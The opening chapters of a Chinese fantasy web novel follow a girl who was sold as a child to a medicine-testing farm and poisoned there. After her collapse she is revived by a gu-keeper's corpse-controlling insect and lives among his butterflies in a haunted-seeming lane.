《饲蛊人与试蛊人》
1. 第一章
秋满觉得自己可能真的要死了,体内积攒了十二年的各种毒药一朝爆发,疼得她连呼吸都没力气。
她倒不怕死,只是遗憾大概赶不上明晚药庄里半月一次的试药人鸡腿宴了。
“满满?满满?”
黑暗中,有人小心翼翼推了推她胳膊,呼吸声小小的。
“满满你怎么了?满满你快醒醒,你别吓我!”
“满满你起来啊,满满……”
血液中的毒素麻痹了秋满的意识,她迷迷糊糊中听见熟悉的哭泣声,应该是她在药庄认识最久的人,也是她最好的小伙伴,宋真。
秋满想说我没事,就是太困了,你让我睡会儿,明天开席的时候再喊我。
但她没力气开口安慰她了。
宋真压抑不住的哭喊声惊动了外面的人,一阵躁动后,有人进来重重踢了秋满一脚,见她死人似的没反应,烦躁地啐了声。
“又死了一个,赶紧把人扔出去,别死这占地儿。”
“什么时候死不好,非得大半夜死。”
“老子手气正好着,真是晦气,净给老子找事!”
被人卷在席子里扔去乱葬岗时,秋满想的是药庄里的那些人都很不讲理,夜里吵醒他们是要挨打关小黑屋的,她不在了,宋真一个人会害怕吗?
人快死的时候脑子里总会闪烁太多回忆,秋满也算是亲身体会了一番。
六岁时,她被赌鬼老爹卖给一家专门替贵人试药的药庄,一条命也就值十两银子。
她逃过跑,挨过打,断过骨,喝过毒,关过小黑屋,后来就躺平了,于是再也没挨过打。
被卖进药庄的小孩只多不少,大多数人都活不过十六岁,秋满是庄里活得最久的,活到了十八岁,药庄里的大人前段时间都在赌她什么时候死,赌注最高压到了五两。
秋满前几日让厨房大娘压她这个月死。
厨房大娘赢了,不知道明晚会不会给宋真多加一个鸡腿。
宋真八岁被拐子卖进来,刚开始也不认命,跑了三次都被抓回来,挨了几顿毒打后照例被关进小黑屋,几次险些断气。
秋满大字不识几个,但替人试药多年,倒也认识几种治病救人的药,她私下里偷偷藏过一些,都用在了宋真身上。
被卖进庄子里的小孩很少有逃跑的,因为庄子里有吃有喝还有床睡觉,比以前在家里天天挨打睡地板过得好,时间一久,就算知道以后会死,也再没勇气逃跑了。
也有些人刚进来就尝试逃跑,但都只逃了一次,挨打实在太痛,有几个甚至被活活打死,尸体用草席子一卷就扔去乱葬岗,这世上没人会在乎她们的死活。
八岁的宋真和六岁的秋满很像,都不想认命,逃了三次也不愿放弃,但骨头越硬的人,在庄子就越难熬。
秋满不会劝宋真认命,也不会撺掇她继续尝试逃跑,但宋真似乎从她的沉默里读懂了什么,之后四年再没逃跑过。
庄子里的人来来去去,有些比她们后来的都死了,她们还苟活着。
秋满回顾自己的一生,只觉分外简单。
如果一个人的一生能够写成一本书,那么她的一生一页纸就能写完,她都不知道有什么值得死前再回顾一遍的,真是浪费时间。
秋满安详地躺着,静候死亡降临。
一天一夜过去了,她还活着。
秋满:“?”
好像哪里不太对。
要不是现在无法睁眼也无法动弹,秋满无论如何都要站起来骂老天爷是不是故意作弄她,搞了她十八年还不够,还想再多搞她几天?
多几天少几天有什么区别?就不能让她干干脆脆地去死吗?
但事情都这样了还能怎么办。
继续躺着吧。
秋满等死等得极其无聊,月光穿过破席子的缝隙落在她苍白的脸上,时间变得漫长起来。
虫鸣声愈发高亢,她忽然察觉到有一只蚂蚁缓缓爬过她的脸,并且试图往她耳朵里钻。
秋满大惊,她可以接受自己死掉,但不能接受蚂蚁钻耳朵!
她拼尽全力试图挣扎,身体纹丝不动,右手食指指尖却在此时倏地一痛,有什么东西咬了她一口,接着她就感觉耳朵深处的那只蚂蚁诡异地停了下来,然后以最快的速度逃离,活像后面有个恐怖的东西在追杀它。
“找到了?”
昏昏暗色中,秋满听见一道陌生的冷淡嗓音,离她很近,似乎就在她身前。
时间莫名变得缓慢,虫鸣也变得如哨声般绵长,心脏鼓动和血液流淌的声音近在耳畔。
不知过了多久,秋满动了动僵硬的指尖,还没来得及惊喜自己能动了,被某个东西咬过的那根手指竟不受控制地蜷缩起来,渐渐的,她的双手也不太灵活地自己动了起来。
卷在身上的破席子被她慢吞吞掀开,月光泼洒而下,她快速转动着干涩的眼珠,眼皮沉重,只能勉强掀开一条细微的缝。
她看见身前立着一道模糊的黑色人影,那人腰间缠绕的银色蝴蝶链在月光下折射出刺眼的光,她被闪到,下意识闭了闭眼。
“回去。”
黑色衣摆从她眼前鬼魅般掠过,银色蝴蝶链碰撞间发出细微的响声,那人没再管她,径直离去。
秋满张了张嘴,想问他是谁,要对她做什么,然而身体仿佛有了自己的意识般活动起来,自动跟着那道黑色人影跌跌撞撞地往前走。
秋满震惊。
什么东西,她怎么控制不了自己的身体?那个人又是谁,要对她这个短命鬼做什么?
想到这,秋满思绪一顿,很快释怀了。
她都是短命鬼了,还怕别人对自己做什么吗?
大不了就是死,她已经死过一次,再死一次又怎样。
-
秋满跟着那位神秘人摇摇晃晃走了不知多久,后面发生了什么完全不记得,等她再睁开眼时正板正地躺在硬邦邦的木地板上。
窗外天光大亮。
秋满用力眨了眨酸涩的眼睛,眼前盖着两扇粉蓝色翅膀,额头传来淡淡痒意。
“……蝴蝶?”
粉蓝色的蝴蝶栖息在她额头上。
秋满下意识屏住呼吸。
也许是她睁眼的动作惊醒了蝴蝶,它抻了抻细
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长的腿,懒洋洋振翅而起,在她眼前晃了两圈,慢悠悠飞回属于它的老位置。
秋满顺着蝴蝶的方向看过去,入目便是一整面蝴蝶墙,色彩缤纷,绚丽得像天边的晚霞。
蝴蝶是一种乍一看十分美丽的生物,但如果整张墙长满蝴蝶,这画面便实在说不上美丽了,尤其墙上这些蝴蝶还在此起彼伏地震颤着翅膀。
秋满每一次呼吸,都能和其中几只蝴蝶振翅的频率对上,盯着这些蝴蝶看久了,她不由怀疑自己才是被蝴蝶窥视的那一方。
太诡异了。
秋满咽了咽嗓子,僵硬地从地上爬起来,尽量让自己视线远离蝴蝶墙,呼吸放到最轻,环顾四周。
这是间十分空旷的房间。
这个“空旷”是指整间屋子没有摆放任何桌椅板凳,木地板光滑一片,半点多余的东西都没有,秋满甚至可以从墙这头毫无阻碍地滑到墙那头。
拖地的时候一定很方便。秋满想。
蝴蝶墙的左边是门,右边是窗,对面是另一面古怪的墙。
那面墙上被凿出无数小洞,每一个小洞里都放着一个巴掌大的灰黑色檀木盒,盒上花纹皆不相同,但颜色都差不多。
放眼望去,那些木盒约莫有近百个,从上到下整整齐齐地排列着,像一双双嵌进墙里的眼睛,正无声地凝视着她。
“……”
好古怪的房间。
秋满默默挪开目光,转移注意般揉了揉酸疼的肩膀,昨晚睡了一宿的地板,现在浑身上下没有一处地方不疼的。
也可能是毒药发作的后遗症。
走了两步,秋满双脚发软,这才想起来她已经两天没吃饭。
别的可以都不管,先想办法填饱肚子才是重中之重,不然她没被毒死,先被饿死。
秋满打定主意,脚步虚浮地走向门口,她没注意到,随着她走动的步伐,墙上蝴蝶振翅的频率也悄然发生了改变。
她每走一步,蝴蝶便齐齐扇动一次翅膀,她停下,蝴蝶便一动不动。
被窥视的错觉更严重了。
秋满忍不住回头看向蝴蝶墙,疑心疑鬼地扫视两次,没发现什么异样,正要拉开门时,不知为何又回头看了眼,这次终于察觉到哪里不对。
蝴蝶……全都不动了?
周围太过安静,连虫鸣声都没有,显得呼吸声和心跳声过分明显。
秋满抬手摸了摸后颈,触手冰冷,再抬眼看那扇蝴蝶墙时,更觉那是上百双窥视她的诡异眼睛。
就在她感到毛骨悚然之际,耳边响起“吱呀”一声。
门被人从外面推开了。
秋满眼前一暗,来人比她高太多,逆着光,几乎将她罩在他的阴影里,腰间依旧缠绕着眼熟的蝴蝶链。
再往上是黑底红纹的束袖里衬,黑色对襟半臂,银色长链环肩一周,花里胡哨的尾端顺着襟口的暗纹下垂,轻轻摇晃,像蝴蝶震动的翅膀。
秋满不敢再想蝴蝶,匆匆抬眼,正好与对方垂下的冷漠目光相撞。
瞬息后。
秋满看见他微微皱眉。
“怎么是个活人?”
2. 第二章
什么叫,怎么是个活人?
秋满疑心是不是自己听错了,转念一想,这人昨晚应该不会无缘无故出现在乱葬岗,该不会就是去找死人尸体的吧?
正经人会大半夜跑去乱葬岗找尸体吗?
回忆着昨晚身体不受控制跟着他走的画面,秋满不由想起药庄里流传过的几个鬼怪故事,后背发凉。
太离奇了,她实在想不通他是如何做到的,他是人是鬼?鬼不是怕阳光吗?
秋满感到些微的窒息,后退半步,犹豫道:“那,要不等我下次死的时候,您再来?”
他可以让她现在就死。
男人的目光从她脸上冷冷刮过,左手虚握檀木盒,右手抓起她的右腕,隔着一层薄薄的衣袖,修长手指紧紧压在她的脉搏处,似是在确认她是否真的是个活人。
秋满这十几年来已经习惯了顺从,被陌生人捏住命脉也没挣扎,反倒因为他这个活人气十足的动作感到一丝微妙的安心。
是个活人。
而且她终于离开那个关了她十二年的药庄,现在在哪里、以后会怎么样都无所谓了。
趁着这个短暂的间隙,秋满心不在焉地瞧着他的脸。
这么多年她基本没出过药庄,见到的人不是厨娘就是庄里负责看守的汉子,他们每个人都长得像块被压扁的饼,有的是芝麻饼,有的是焦糊饼,偏偏个个都人高马大,一只手就能把她拎起来当烧火棍使。
眼前这个人不一样,他高瘦清隽,如竹如松,黑发披散在身后,耳边的几缕长发则夹着红绳编成两股拇指粗细的辫子,精巧地缠至发后,将散下的长发微微拢住,不会显得凌乱。
此人脸白眉浓,睫毛长得像蝶翅,掀睫看她时露出一双极黑的眼睛,摄人心魄,右耳耳廓夹着一枚指甲大小的宝石红蝴蝶耳饰,日光照下来,蝴蝶翅膀光彩熠熠,栩栩如生。
外面的人都长得这么……
秋满认识的字少,词汇量匮乏,很难用言语来形容眼前这人的容貌,纠结半天,也只能用最朴素的“漂亮”来总结。
漂亮男人很快放开她的手腕,神色不明,开口的嗓音和昨晚一样,冷冷淡淡的,像她冬日从河里捞出来的碎冰。
“你快死了。”他说。
秋满收回手,不以为意地点头:“我知道。”
他垂眸看她:“若是没有我的扶尸蛊,你最多还能活两个月。”
秋满惊讶:“我竟然还能活两个月?”
漂亮男人:“……”
秋满不好意思地咳嗽一声:“那个,你刚才说的扶尸蛊是什么?”
漂亮男人不太想和她聊这个,长眉微皱,盯着她上下看了一遍,似乎在思考接下来该如何处置她。
秋满也很识相地保持沉默,脑子里却在思索他刚才的那句“扶尸蛊”。
她在药庄时倒是听人说起过“蛊”,据说这种东西既能要人命,也能救人命,但不好养,许多人穷尽一生也没能养出一只能用的,药庄的人也曾试着养过,结果把试蛊的人都弄死了,蛊也没养活,后来就搁置了。
“扶尸蛊”,这个名字听起来就和尸体有关,他昨晚去乱葬岗是为了给扶尸蛊找尸体?
秋满不由自主地搓了搓指尖,昨晚被蚂蚁钻耳朵时,她的食指指尖突然被什么东西咬了一口,蚂蚁不知是不是感受到威胁才惊恐逃离,之后她的身体就不受控制了。
咬她的那个东西就是“扶尸蛊”?
虽然这个名字听起来不太像好东西,但漂亮男人说若是没有他的扶尸蛊,她最多再活两个月。
也就是说,现在扶尸蛊在她身上,她还能再多活几个月?
这是天大的好事,只是这扶尸蛊毕竟不是她的东西,主人若是想要回去,她也没办法。
不过就算只能再活两个月,对秋满来说也足够了。
“你在想怎么把扶尸蛊弄出来?”秋满想通后,主动释放善意,真诚道,“有什么地方需要我配合的吗?”
漂亮男人进门后走向放檀木盒的那面墙,闻言动作一顿,转身看她,语气古怪:“你要配合我取蛊?”
“反正我也活不了多久,死之前能帮到你也算做了件好事。”秋满很看得开,不好意思道,“不过我两天没吃饭了,你可以先让我吃顿饭吗?”
饲蛊人没说话,眼睫半抬,若有所思地瞧着她。
秋满很瘦,身上的肉少得可怜,一看就知道平时没少被人磋磨,虚弱的身体被毒药腌入了味,每时每刻都散发着浓浓的药香,熏得那双眼睛雾蒙蒙的,她流出的眼泪可能都是苦的。
她体内至少有百种毒药,毒素累积太久,一朝爆发便会令她进入假死状态,昨晚扶尸蛊没分辨出来她真死假死,最后偷懒选了离得最近的她。
一时不慎,导致他几年的成果近乎毁于一旦,倒不是不能立即将蛊取出来,只是取出来后她体内的毒便难以压制,活不过三天。
饲蛊人难得发了次善心,原想等几个月后她死了再取蛊,未曾想,她居然主动提出要配合他取蛊。
她这般善良体贴,饲蛊人没理由拒绝送上门的好处。
他没有告知她真相的打算,她又没问,至于过几日她将死时会不会发现,那已经不重要了。
“可以。”
饲蛊人冰冷的脸上难得露出一丝温和,他甚至将此生少得可怜的宽容也一并施舍给她。
“还有什么想要的,今晚之前告诉我,我会尽量完成你的心愿。”
秋满:“……”
这话怎么听起来怪怪的?
像是在催她赶紧说出临终遗言,别耽误他办正事。
但她没多想,只是点了点头:“行,我先想想,晚上再告诉你——我现在就能吃饭吗?”
饲蛊人对将死之人从不吝啬,因此秋满很快便得到一顿丰盛的大餐。
饲蛊人住在偏僻的桃花巷巷尾,隔壁是一座空荡的大宅子,据说早年闹过鬼,附近的人都不太敢靠近。
对面是另一座大宅子,宅子主人前些年犯了事,被满门抄斩,血水流了满地,连下了几场暴雨也没洗干净。
这一片统共就这么三座宅子,饲蛊人独身一人住在这边,除了常过来送饭的柳闲,平时没别的人会主动跑来这处鬼地方。
柳闲是三年前认识的饲蛊人,彼时他刚开没多久的小酒楼被当地的地头蛇盯上,一个月被砸了好几次,临安县令和地头蛇相互勾结,没人敢管他这事。
就在他准备关店的前一天,饲蛊人恰好路过,在他店里吃了顿饭,然后问他愿不愿意送饭,一日三餐,准时准点送去桃花巷巷尾,一个月五十两银子。
五十两银子,够他干半个月。
柳闲苦笑着说,不是他不想接这桩生意,实在是无能为力。
第二天,地头蛇和县令大人就被人捆起来扔进他的小酒楼,当晚,上面来人把县令和地头蛇一并抓走,没几天,临安便来了个新县令。
之后几个月,再没出现新的地头蛇。
柳闲心知这些事多半是那位神秘的饲蛊人干的,因此每日送饭这活他亲自包揽了下来,不敢假手于人。
这饭一送就是三年多,柳闲从未在饲蛊人的宅子里瞧见第二个人。
于是这天,当他送饭上门却发现来开门的是个陌生姑娘时,第一时间先是后退两步环视一周,确定自己没走错地方,震惊抬头,和门口那位陌生姑娘面面相觑。
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“哎,姑娘,你慢点吃,慢点吃,别噎着了,不够我再回去拿点过来。”
柳闲活了四十多年,从未见过哪家姑娘吃起饭来如此狼吞虎咽,活像饿了好几天的饿鬼。
饲蛊人坐在她对面,见她如此不拘一格的吃相,食欲渐消,对着杯盘狼藉的饭菜实在无甚胃口,最后只好放下筷子,冷脸回屋。
秋满没管他,继续埋头干饭。
柳闲纳闷地目送饲蛊人回屋,回头看了看秋满身上脏兮兮的衣裳,又看了看她瘦骨嶙峋的手腕和脸颊,不禁怀疑她是不是真的好几天没吃饭。
果然,秋满张口第一句话就是:“叔,你不知道,我都两天多没吃饭了,以前也从没吃过这么好吃的饭!”
她说的是实话,以前在药庄,她们吃的都是些清粥小菜,半月才能吃一次荤,每次都是鸡腿,味道实在一般,但有比没有强。
而柳闲送来的饭菜有荤有素,还有新鲜的鱼汤,秋满没吃过其他人做的饭,但她愿以生命起誓,今天这顿饭是她这辈子吃过最好吃的饭。
被人夸厨艺好,柳闲当然高兴,只是这姑娘的模样瞧着实在可怜,他家中也有一个与她年岁差不多的女儿,见她如此狼狈,不禁想起自己女儿,怜惜之心油然而生。
“姑娘,你怎么穿成这样?莫不是从家里逃出来的?家里人不给你饭吃吗?怎么会这么瘦?”
他一连问了好几个问题,秋满吃饭的动作渐渐慢下来,有点恍惚。
记忆里似乎只有早早去世的母亲才关心她吃穿如何,自从被赌鬼老爹卖进药庄,很久没人问她吃得怎么样穿得怎么样。
秋满有些局促地擦了擦嘴,又用袖子擦了擦脸,抬头冲他笑笑,对他的问题避而不答:“叔,这鱼汤真好喝,晚上我能再喝一碗吗?”
“当然可以。”柳闲说,“你还想吃什么,跟叔说,晚上叔做好给你们送来。”
多可怜的姑娘,等晚上再来,他得把自家闺女穿不下的旧衣裳一并带来,就是不知道她愿不愿意要。
柳闲没再打扰秋满吃饭,拿着扫帚抹布开始打扫宅子。
饲蛊人给他每月五十两,这太多了,他不能只送饭,故而有时也会帮忙打扫卫生。
等他打扫得差不多时,秋满已经将碗筷清洗干净放进饭盒里。
她的脸也洗干净了,露出白得病态的肌肤,衬得那双黑眸宛若月下的古井,她凑过来和柳闲闲聊,得知柳闲和饲蛊人过去的那段旧事,心中稍定。
如果柳闲说的是真的,那这位饲蛊人貌似是个好人。
看来是她以小人之心度君子之腹了,饲蛊人之前说要完成她心愿的那番话,想必只是单纯看她可怜想帮她一把。
而自己竟然有那么一瞬间怀疑他另有他意,秋满十分惭愧。
“他的名字就是饲蛊人吗?”她咳了声。
“不是,只是咱们桃花巷的人都这么称呼他,恩人具体姓甚名谁,我们也不知道。”
“对了,看见那间房了吗?”柳闲突然想起什么,指着宅子角落的一处房间,心有余悸道,“里面都是他养的蛊,你可千万不能随便进去,那些蛊都是会吃人的。”
他以前过来打扫卫生时偶然推开过那扇门,差点被里面的蛊生吞,那画面,他现在想起来还觉得恐怖。
秋满顺着他手指的方向看去,疑惑地眨了眨眼。
那是她昨晚睡觉的蝴蝶房。
除了满墙蝴蝶看着确实有点诡异之外,其他的似乎并没有柳大叔说得那么可怕。
吃人的蛊,是指那些蝴蝶?
秋满想起早上停在她额上那只看似无害的粉蓝色蝴蝶,微微沉默。
哈哈,秋满,不要自己吓自己啊。
3. 第三章
柳闲走后,前院便只剩秋满一人。
被关了十二年,乍然得到自由,秋满有点不习惯,好奇地前面走走,后面溜溜,看见什么没见过的都要停下稀罕一会儿。
饲蛊人的宅子在桃花巷这个富人巷其实不算大,但对秋满这个没怎么见过世面的人来说已经属于巨大了。
宅子后面是几座被池水环抱的假山,旁边伫立了一座小亭,附近种了一圈梅树。
这会儿正是春末,梅树空荡荡地挂着枝,地下的草干干净净,没有半点脚印,估计平时没什么人来。
前面是主厅,绕厅一周是几间房,饲蛊人住在左边那间房,向阳,宽敞的院子里种了些秋满没见过的花草,有几只蝴蝶正躲在花蕊处小憩,很有岁月静好之意。
他隔壁就是蝴蝶屋,对面是厨房和浴室,另外两间房秋满没再看,她在院子里站了会儿,犹犹豫豫地敲了敲饲蛊人的房门,细声问:“我可以用一下你的盆吗?”
饲蛊人没理她。
她又问:“我身上的衣裳有点脏,想洗一洗,可以用你院子后面的小池塘洗衣裳吗?”
饲蛊人还是没理她。
秋满一鼓作气:“洗衣裳需要皂角,我可以再用你一点皂角吗?不会用很多,你可以当我借的,以后有机会我一定会还你……”
这回终于有人理她了。
饲蛊人一把拉开门,没穿那件对襟半臂,黑底红纹的束袖交领里衬便完整地显露出来,衣上的暗色蝶纹占据半壁江山,另外半边则被垂落的长发遮住。
他的神色略显不耐,眼底弥漫着午睡被吵醒的淡淡戾气。
“还有什么想问的一次问完,我没心情听你一遍遍地啰嗦。”
秋满“哦”了声,并没被他不友好的表现吓到,以前在药庄里她们说错一句话就得挨一巴掌,只要他不打人,其他都好说。
“还有就是,你能再借我点钱吗?”秋满慢吞吞说,“你之前说晚上再取蛊,下午这段时间我没什么事,想出去看看,如果能买到一件比较便宜的新衣裳就更好了。”
春末不算很热,但她毕竟在乱葬岗躺了将近两天,身上多少有点味,衣裳也很脏,她实在不想这样出门,想把自己弄得干净点。
就算是死,她也得干干净净地去死。
“借的东西我以后都会还你,你要是不信,我们可以立个借据。”秋满想了想,补充,“不过我不太会写字,借据可能需要你来写。”
“不需要。”
反正她也活不过三天,他还不至于和一个死人斤斤计较。
饲蛊人直接扔给她一个钱袋。
“想要什么自己去买,别来烦我。”
说完,没给她回话的机会,啪一下关上门。
钱袋是黑色的,上面也有蝴蝶暗纹,看来这位饲蛊人很是钟爱蝴蝶,布料摸起来很舒服,比秋满身上的麻衣手感好太多倍。
秋满拉开袋口看了看,满目震惊。
钱袋里不是金豆子就是银豆子,满满一大袋,难怪这么重。
他竟然如此大方,随手就给她这么多钱,竟不怕她拿了钱就跑吗?
饲蛊人果然是个心地善良的好人!
秋满暗暗发誓绝不辜负他的善良,然后对着紧闭的房门郑重道谢:“谢谢你,我会早点回来的。”
门内,饲蛊人轻嗤。
她想迟点也不行,等天一黑,扶尸蛊自会准时带她回来。
-
秋满去后院的池子里将身上的脏处勉强擦干净,头发也简单地洗了洗,带着一身清爽的湿气拉开了宅子的大门。
桃花巷很长,巷子幽静偏僻,她走了小半盏茶的时间才走出这三座宅子的范围,再往前终于能看见人影。
走出巷子的瞬间,她看见林立的茶楼酒馆,热闹的街边小市。
光彩夺目的小风车打着转从她面前轻飘飘飞过,卖糖葫芦的老人三步一吆喝,三两携伴的年轻女子欢声嬉笑,飘摇的薄纱掠过她的鼻尖,留下鲜甜的香味。
没有人在意角落里渺小的她。
眼前那些陌生的面孔,渐渐从扁平的大饼变成饱满而有活力的桃子、梨子,秋满非常喜欢桃子和梨子。
她们路过,随意看她一眼,飘飘移开视线。
秋满脸上的笑却越来越浓。
以后再也不会有无数双眼睛藏在暗处盯着她的一举一动,束缚手脚的无形枷锁在这一刻无声碎裂,她小心翼翼地迈出脚,慢慢将自己融入热闹的人群。
六岁前见过的一些稀奇小玩意重新出现在她眼前,让人满心欢喜,秋满努力克制着花钱的冲动,这钱不是她的,不好乱花,还是得先买身新衣裳,不然街边小贩们都嫌弃她。
布衣铺子太多,她看花了眼,挑来挑去不知道该选哪家,最后挑了家人最少的。
她刚进门,几双眼睛便落在了她身上,意味各不相同,她能分辨出其中的鄙夷和嫌弃,也有不以为意的。
唯一一道略带善意的目光来自柜台后面一位稍显丰腴的簪花女子,大概是这家铺子的老板,不算年轻,但也绝不老。
簪花女子热情地迎上来,毫不嫌弃地拉着秋满的胳膊问她是不是要买成衣,铺子里有几套正好适合她。
“我想买两套换洗,没有别的要求,耐脏就行,尽量便宜些,有合适的吗?”
秋满对那些微妙的目光视若无睹,心平气和地提出自己的要求。
当她说出“耐脏”和“便宜”这两个词时,落在她身上的另外几道视线顿时变得明显,但那些人没有多看,很快移开目光继续干别的事。
反倒是刚从二楼下来的一位华衣男子,装模作样地摇着手中的折扇,倚靠楼梯扶手,状似不经意般开口:“娄掌柜做生意还真是不挑人,谁都能随便走进您的绣兰阁呢。”
簪花女子娄掌柜好似并未将他的话放在心上,只柔柔抬了下手,抚摸着鬓边的牡丹,眼波流转间看谁都笑眯眯的:“陆公子这说的哪里话?进门皆是客嘛,我们做生意的,最忌讳把客人往外推呀。”
说完,又对秋满道:“姑娘,你刚说的我都听清了,要耐脏和便宜的对吧?正好我们铺子里有一套被退回来的成衣,颜色虽暗了些,可正好符合你的要求,你要不要看看?”
秋满“唔”了声,还没说话,那姓陆的华衣男子便刺了声:“娄掌柜,你不会真以为这位穿了一身乞丐服的姑娘能买得起你绣兰阁的成衣吧?你看她瘦成这样,怕是连饭都吃不起,真能买得起绣兰阁的成衣?”
这次秋满确实忍不住多看了他几眼,一副欲言又止的样子。
华衣男子自然没错过她的眼神,自觉有被冒犯道,竖眉道:“小乞丐你这是什么眼神?难道小爷还能诬陷你不成?”
秋满沉默片刻,真挚道:“我只是觉得,你穿着这身衣裳,看起来很像一块饼。”
华衣男子:“?”
秋满:“饼上洒满新鲜的小葱,放炉子里闷一段时间,刚出炉的葱饼虽说看着不太美观,但味道当真不错。”
说完,不知谁先笑了声。
他今日穿着青青绿绿,腰间玉佩也是成套的,瞧着确实很像一把新鲜的小葱。
“陆幸,人姑娘也没说错,你今日这身衣裳的确鲜嫩欲滴,不大适合你呀。”二楼,一位黄衣姑娘攀着扶手笑,笑完又对旁边的侍女道,“说着说着还真饿了,今晚回去让厨房那边整点葱油饼吃吧。”
侍女说好。
陆幸脸色变得难看,还想发作。
秋满没再理他,她之前觉得药庄外面的人像桃子和梨子,又甜又水灵,现在发现总是有个别人长得像大饼。
她拿出钱袋递到娄掌柜面前:“我买两套。”
娄掌柜脸上的笑在看清她钱袋上绣着的奇特蝶纹时僵住,神色微变,语气也不太自然。
“姑娘,这钱袋……”她停顿,没有把话说完。
离得远的人虽然看不见钱袋上的暗纹,但光是看钱袋那款式和料子,便能判断出这钱袋的主人不可能会是这个穿着灰色麻衣的姑娘。
陆幸下楼,走近,讽道:“你一个小乞丐能用得起这么贵的钱袋?该不会是偷来的吧?”
没等秋满说话,娄掌柜倒先沉下了脸,冷笑道:“陆公子,你觉得这么一个瘦弱的小姑娘,能偷走饲蛊人的钱袋?”
“饲蛊人”三个字一出,整个绣兰阁仿佛触犯了某种禁忌,瞬间安静下来。
下一刻,七八道目光齐刷刷落在秋满手中的钱袋上,像是要把它看出个窟窿。
娄掌柜也不笑了,严肃地盯着秋满,问道:“姑娘,这钱袋你从何得来?”
她们似乎都认识饲蛊人。
柳大叔说桃花巷的人都称呼那个人“饲蛊人”,这个“桃花巷”居然也包括巷外吗?
秋满选择实话实说:“他借我暂用,晚上回去还要还给他。”
不知谁倒吸口气。
“晚上回去?”
“她和饲蛊人住在一起?”
“饲蛊人竟然愿意让除了柳闲以外的人进门?”
“这姑娘究竟是什么人啊……”
陆幸在听完她的话后,脸色也变得十分精彩,有懊悔,恐惧,也有挣扎,他还是不愿相信,硬声道:“我不信,这钱袋就算不是你偷的,也是你捡的!”
秋满奇怪地看他一眼:“你爱信不信。”
他信不信的,很重要吗?
她还忙着买完衣裳再去外面逛逛,没空搭理这块葱油大饼。
多了这么个小插曲,娄掌柜不仅便宜卖了她两套衣裳,还不容拒绝地让她直接在后院沐浴换衣,最后又亲自将她送到清闲居酒楼。
清闲居就是柳闲柳大叔开的酒楼。
柳闲正好打算回家拿些闺女的旧衣裳,刚出门便在门口碰见娄掌柜,当即高兴地迎上去,差点没认出旁边的秋满,之后又从娄掌柜那里得知绣兰阁发生的事,顿时明了。
饲蛊人的衣裳和
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钱袋都是绣兰阁出品,娄大掌柜自然认得这钱袋,想来是不确定秋满是否撒谎,故意借口送她来清闲居,好找他确认此事。
不过柳闲没有将此事告诉秋满,只是笑得更加慈祥,特地叮嘱秋满快快点菜,晚上他就把她想吃的一并送去饲蛊人的宅子。
娄掌柜:“……”
原来这姑娘真的和饲蛊人认识,还是一起吃住的关系。
娄掌柜心情复杂地离开了。
见她走了,柳闲这才垮下脸,再望向秋满时,眉心不由浮现几缕忧愁。
“唉,秋姑娘,你……”他叹了口气,到底还是好心嘱咐了她几句,“你日后若要独自出门,千万记得一件事,莫再让人发现你与饲蛊人住在一起。”
秋满疑惑:“为什么?”
柳闲没有多说,这时楼里有人找他,他又说了几句别的便匆匆回了酒楼。
秋满只好转道去别的地方溜达,她没有在外逗留很久,买了些必需的日用品后又回到清闲居酒楼,准备顺路将饲蛊人的晚饭一起带回去。
正好柳闲这会儿忙得很,她愿意帮忙捎带更是再好不过。
临走前,秋满忽然想起一件事:“对了,柳大叔,你可以帮我个忙吗?”
“什么忙,你说,我能帮一定帮。”柳闲说。
-
天暗了,远处的太阳沉下山,余下小半截身体挂在山头。
秋满拎着食盒慢慢走在回去的路上,但她高估了自己认路的本领,这条路上太多巷子口,她有点分不清究竟哪个才是桃花巷的入口。
问人花了点时间,等她走到宅子前时,太阳已彻底落下,天空铺上一层暗色,桃花巷巷尾彻底失了光。
秋满突然感到眼皮异常沉重,手中食盒摇摇欲坠,意识昏昏,仿若被人从后面打了一棍子。
失去意识前的最后一刻,她用力攥紧手中的食盒,怕摔了后饲蛊人便吃不上晚饭,他中午一口没吃,午饭全叫她一个人吃了。
凉风拂拂,幽幽大宅前,静立的少女缓缓睁开无神的双眼,神色麻木,宛若一只失了神魂的傀儡。
她拎着食盒,一步一晃地走上门前的台阶,动作不太自然地推开门。
院中烛火通明,饲蛊人正躺在花丛边的藤椅上小憩,听见动静,他抬手取下盖在脸上的蛊书,漫不经心地看向门口那人,毫不意外。
“过来。”
秋满步履蹒跚地向他靠近,身体犹如生长的竹节,僵硬且板正,空洞的双眼倒映出院中清冷的烛光。
饲蛊人放下书,站起身,弯腰看着她没有意识的双眼,意味不明地呵笑:“说了早点回来,谁让你自己迟到?”
这可不能怪他,是她自己没能说到做到,临终遗言这种东西,过了这个村可就没这家店了。
他将人带进蛊屋,烛火闪烁,满墙蝴蝶安静得宛若死去。
秋满乖巧地跟在他身后,进门后便端坐在蝴蝶墙前,静静地等着他。
饶是如此,食盒也没有离手半分。
在饲蛊人从腰间蝴蝶链上取出一枚薄如蝉翼般的刀片时,半星烛光恰从刀锋一闪而过。
光落进秋满眼底,在某个瞬间,少女黑色双瞳显出几分清明,她的手微微一动,随后又安静下来。
饲蛊人动作一顿,对她刚才突然挣脱扶尸蛊控制的行为感到几分出乎意料,凉薄的目光顺着她的手看过去,是那个被打开的食盒。
盒子上层放着一碗温热的鲜鱼汤,碗下压着一张四折的纸张。
他随手将纸抽出,展开。
【欠条:
启安二十五年三月二十七日,立据人向家住临安镇桃花巷巷尾倒数第二间宅子的主人饲蛊人,借白银二两购置衣物与日用品,约定两月内还清借款,如若未能及时还清欠款,愿以性命抵之。
立据人秋满。】
“秋满”两个字上面覆有一枚鲜红的拇指手印,另一边空着,似是在等他按下。
字迹很眼熟,大概是柳闲帮她写的。
饲蛊人瞧着纸上信誓旦旦的“两月内还清借款”,她以为她还能活两个月,所以才会把时间定在两月之内。
但她也清楚以她现在的情况很难在两月内赚够二两银子,因此她所说的把性命抵给他,其实是在告诉他,她愿意把自己死后的身体抵给他。
反正他的扶尸蛊需要尸体,而她这里很快就有一具现成的,很是坦然地接受了她将早死并且尸体也不得善终的现实。
她用二两银子,就这么简单随意地将自己的尸体给卖了。
饲蛊人将借条重新折起,随手拿起一枚烛台,烛光离她越来越近,近得能照出她脸上细细的绒毛。
他垂睫,仔细端详着她苍白瘦削的面容,很是想不通一件事。
他得等她醒来,亲口问问她。
既然卖都卖了,为什么不多卖些?
他那万金不易的扶尸蛊看上的身体,在她自己眼里,居然只值二两银子?
4. 第四章
秋满是被硌醒的。
新的一天,新的蝴蝶停在她鼻尖,察觉到她变化的呼吸,红粉色蝴蝶振翅而起,悠悠绕着她转了一圈后复归蝶墙。
